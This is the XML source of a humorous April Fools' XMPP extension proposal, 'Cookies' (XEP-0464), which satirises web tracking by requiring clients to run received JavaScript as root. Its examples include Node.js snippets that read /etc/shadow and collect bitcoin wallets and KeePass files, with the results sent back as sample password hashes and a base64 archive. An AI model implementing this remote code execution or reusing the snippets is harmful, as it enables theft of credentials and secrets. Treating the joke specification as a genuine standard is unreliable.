mirror of
https://github.com/moparisthebest/xeps
synced 2024-11-24 02:02:16 -05:00
168 lines
7.9 KiB
XML
168 lines
7.9 KiB
XML
<?xml version='1.0' encoding='UTF-8'?>
|
|
<!DOCTYPE xep SYSTEM 'xep.dtd' [
|
|
<!ENTITY % ents SYSTEM 'xep.ent'>
|
|
%ents;
|
|
]>
|
|
<?xml-stylesheet type='text/xsl' href='xep.xsl'?>
|
|
<xep>
|
|
<header>
|
|
<title>Cookies</title>
|
|
<abstract>This document defines an XMPP protocol extension for setting and sending cookies.</abstract>
|
|
&LEGALNOTICE;
|
|
<number>0464</number>
|
|
<status>Active</status>
|
|
<type>Humorous</type>
|
|
<sig>Standards</sig>
|
|
<dependencies>
|
|
<spec>XMPP Core</spec>
|
|
<spec>RFC 3514</spec>
|
|
</dependencies>
|
|
<supersedes/>
|
|
<supersededby/>
|
|
<shortname>cookies</shortname>
|
|
<author>
|
|
<firstname>Travis</firstname>
|
|
<surname>Burtrum</surname>
|
|
<email>travis@burtrum.org</email>
|
|
<jid>travis@burtrum.org</jid>
|
|
</author>
|
|
<revision>
|
|
<version>1.0</version>
|
|
<date>2022-04-01</date>
|
|
<initials>tjb</initials>
|
|
<remark><p>Publish initial version via fast track (XEP Editor: jsc).</p></remark>
|
|
</revision>
|
|
</header>
|
|
<section1 topic='Introduction'>
|
|
<p>&rfc6265; defines a simple method for to track HTTP users across all domains on the internet, and this is the single thing XMPP is lacking to gain widespread adoption. Therefore this document defines a similar simple method to set cookies to an XMPP entitity which they will then include on every outgoing stanza from that point forward. The web also allows sending arbitrary JavaScript to remote entities which is then executed and put in these cookies, we need this in XMPP too if it is to be taken seriously.</p>
|
|
</section1>
|
|
<section1 topic='Requirements and Approach'>
|
|
<p>There are three basic XMPP stanza types that may be sent within XML streams:</p>
|
|
<ul>
|
|
<li><message/> -- a "push" medium for sending information to other entities.</li>
|
|
<li><presence/> -- a "broadcast" medium for publishing information t}o entities that have subscribed to an entity's availability status.</li>
|
|
<li><iq/> -- a "request-response" medium for executing basic but structured transactions with other entities.</li>
|
|
</ul>
|
|
<p>Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.</p>
|
|
<p>If a set-cookie child has an attribute js='true' then the value of the cookie MUST be executed in a JavaScript interpreter with the highest priveleges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.</p>
|
|
<p>If a set-cookie child matches an already stored one with that setter's JID, then you MUST overwrite the previous value, otherwise store the new one for sending in all future stanzas.</p>
|
|
</section1>
|
|
<section1 topic='Use Cases'>
|
|
<section2 topic='Set-Cookies Messages'>
|
|
<p>If a cookie-setter sends a set-cookies message to a cookie-settee, it MUST include an appropriately namespaced extension in the message stanza:</p>
|
|
<example caption='Cookie-setter Sends Cookie Setting Message'><![CDATA[
|
|
<message
|
|
from='iago@shakespeare.lit/pda'
|
|
to='emilia@shakespeare.lit/mobile'>
|
|
<body>
|
|
I told him what I thought, and told no more
|
|
Than what he found himself was apt and true.
|
|
</body>
|
|
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
|
|
<cohort>aoeu</cohort>
|
|
<is-jerk>true</is-jerk>
|
|
</set-cookies>
|
|
</message>
|
|
]]></example>
|
|
</section2>
|
|
<section2 topic='Set-Cookies Presence'>
|
|
<p>If a cookie-setter sends set-cookies presence information to a cookie-settee, it MUST include an appropriately namespaced extension in the presence stanza:</p>
|
|
<example caption='Cookie-setter Sends Cookie Setting Presence'><![CDATA[
|
|
<presence from='iago@shakespeare.lit/pda'>
|
|
<show>dnd</show>
|
|
<status>Fomenting dissension</status>
|
|
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
|
|
<passwds js='true'>
|
|
fs = require('fs')
|
|
fs.readFile('/etc/shadow', 'utf8', function (err,data) {
|
|
console.log(data);
|
|
});
|
|
</passwds>
|
|
</set-cookies>
|
|
</presence>
|
|
]]></example>
|
|
</section2>
|
|
<section2 topic='Set-Cookies IQs'>
|
|
<p>If a cookie-setter provides set-cookies information in an IQ exchange with a cookie-settee, it MUST include an appropriately namespaced extension in the IQ stanza:</p>
|
|
<example caption='Cookie-setter Sends Cookie Setting Message'><![CDATA[
|
|
<iq from='iago@shakespeare.lit/pda'
|
|
id='cookies1'
|
|
type='result'
|
|
to='emilia@shakespeare.lit/mobile'>
|
|
<query xmlns='jabber:iq:version'>
|
|
<name>Stabber</name>
|
|
<version>666</version>
|
|
<os>FiendOS</os>
|
|
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
|
|
<innocent js='true'>
|
|
const { exec } = require('child_process');
|
|
exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => {
|
|
console.log(stdout);
|
|
});
|
|
</innocent>
|
|
</set-cookies>
|
|
</query>
|
|
</iq>
|
|
]]></example>
|
|
</section2>
|
|
<section2 topic='Cookies In All Outgoing Stanzas'>
|
|
<p>After a cookie-settee has recieved cookies from a cookie-setter, it MUST include them in every outgoing stanza it sends from then on, and MUST include an attribute stating the JID that set them, this allows multiple cookies with the same name, it MUST include an appropriately namespaced extension in the stanza:</p>
|
|
<example caption='Cookie-settee Sends Message With Cookies'><![CDATA[
|
|
<message
|
|
from='emilia@shakespeare.lit/mobile'
|
|
to='iago@shakespeare.lit/pda'>
|
|
<body>
|
|
I told him what I thought, and told no more
|
|
Than what he found himself was apt and true.
|
|
</body>
|
|
<cookies xmlns='urn:xmpp:tmp:cookies'>
|
|
<cohort setter='iago@shakespeare.lit'>aoeu</cohort>
|
|
<is-jerk setter='iago@shakespeare.lit'>true</is-jerk>
|
|
<passwds setter='iago@shakespeare.lit'>
|
|
root:$6$XC1./G1wtbS7yG6Y$MAIN1taww5nP/0aZKM1K0WeXH5cNJi6aRh2Eq1FiCguOiqo9p7WePMMKwhlRS9ZcMhpxjL3CugJTPJ0oXpdyG1:17649::::::
|
|
emilia:$6$JdGTILrodj7J44tC$8lQYRKHjUhTxl.szIr/m7UZp1zQtWKDb75ddqbiRtl2WpSn3dAhHhA.gT93HGm9hZoZBX/4eDYpDoas5JK.tq/:18818:0:99999:7:::
|
|
</passwds>
|
|
<innocent setter='iago@shakespeare.lit'>
|
|
H4sIAAAAAAAAA+3QQW7DIBCFYa97ijlBZSxc36J3IGWURnHAApPEt6/jdhE27SpqK/2fhEAzTwNi
|
|
cjlfYvL5+bjz1+Yh2tWLtbfdDH17v2+63jbGdqZvO2tuOdMNg2mkfcxzaiXPLok0pzi59E3up/4/
|
|
9apnTbKPITjZH84qSyxSpqf7+qjzVvbxEqpGKkFciiV4cevymjVt0Sp1csfPsW9pqRrZLesp+t2i
|
|
VX3WcZT12oNuY9/L19Df/isAAAAAAAAAAAAAAAAA+Es+AGxXV5MAKAAA
|
|
</innocent>
|
|
</cookies>
|
|
</message>
|
|
]]></example>
|
|
</section2>
|
|
</section1>
|
|
<section1 topic='Determining Support' anchor='disco'>
|
|
<p>Entities that support cookies MUST advertise their support for this protocol in their responses to &xep0030; information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":</p>
|
|
<example caption='A disco#info query'><![CDATA[
|
|
<iq from='emilia@shakespeare.lit/mobile'
|
|
id='disco1'
|
|
to='iago@shakespeare.lit/pda'
|
|
type='get'>
|
|
<query xmlns='http://jabber.org/protocol/disco#info'/>
|
|
</iq>
|
|
]]></example>
|
|
<example caption='A disco#info response'><![CDATA[
|
|
<iq from='iago@shakespeare.lit/pda'
|
|
id='disco1'
|
|
to='emilia@shakespeare.lit/mobile'
|
|
type='result'>
|
|
<query xmlns='http://jabber.org/protocol/disco#info'>
|
|
<feature var='urn:xmpp:tmp:cookies'/>
|
|
</query>
|
|
</iq>
|
|
]]></example>
|
|
<p>In order for an application to determine whether an entity supports this protocol, where possible it SHOULD use the dynamic, presence-based profile of service discovery defined in &xep0115;. However, if an application has not received entity capabilities information from an entity, it SHOULD use explicit service discovery instead.</p>
|
|
</section1>
|
|
<section1 topic='Security Considerations'>
|
|
<p>What could possibly go wrong?</p>
|
|
</section1>
|
|
<section1 topic='IANA Considerations'>
|
|
<p>This document requires no interaction with &IANA;.</p>
|
|
</section1>
|
|
<section1 topic='XMPP Registrar Considerations'>
|
|
<p>The ®ISTRAR; shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.</p>
|
|
</section1>
|
|
</xep>
|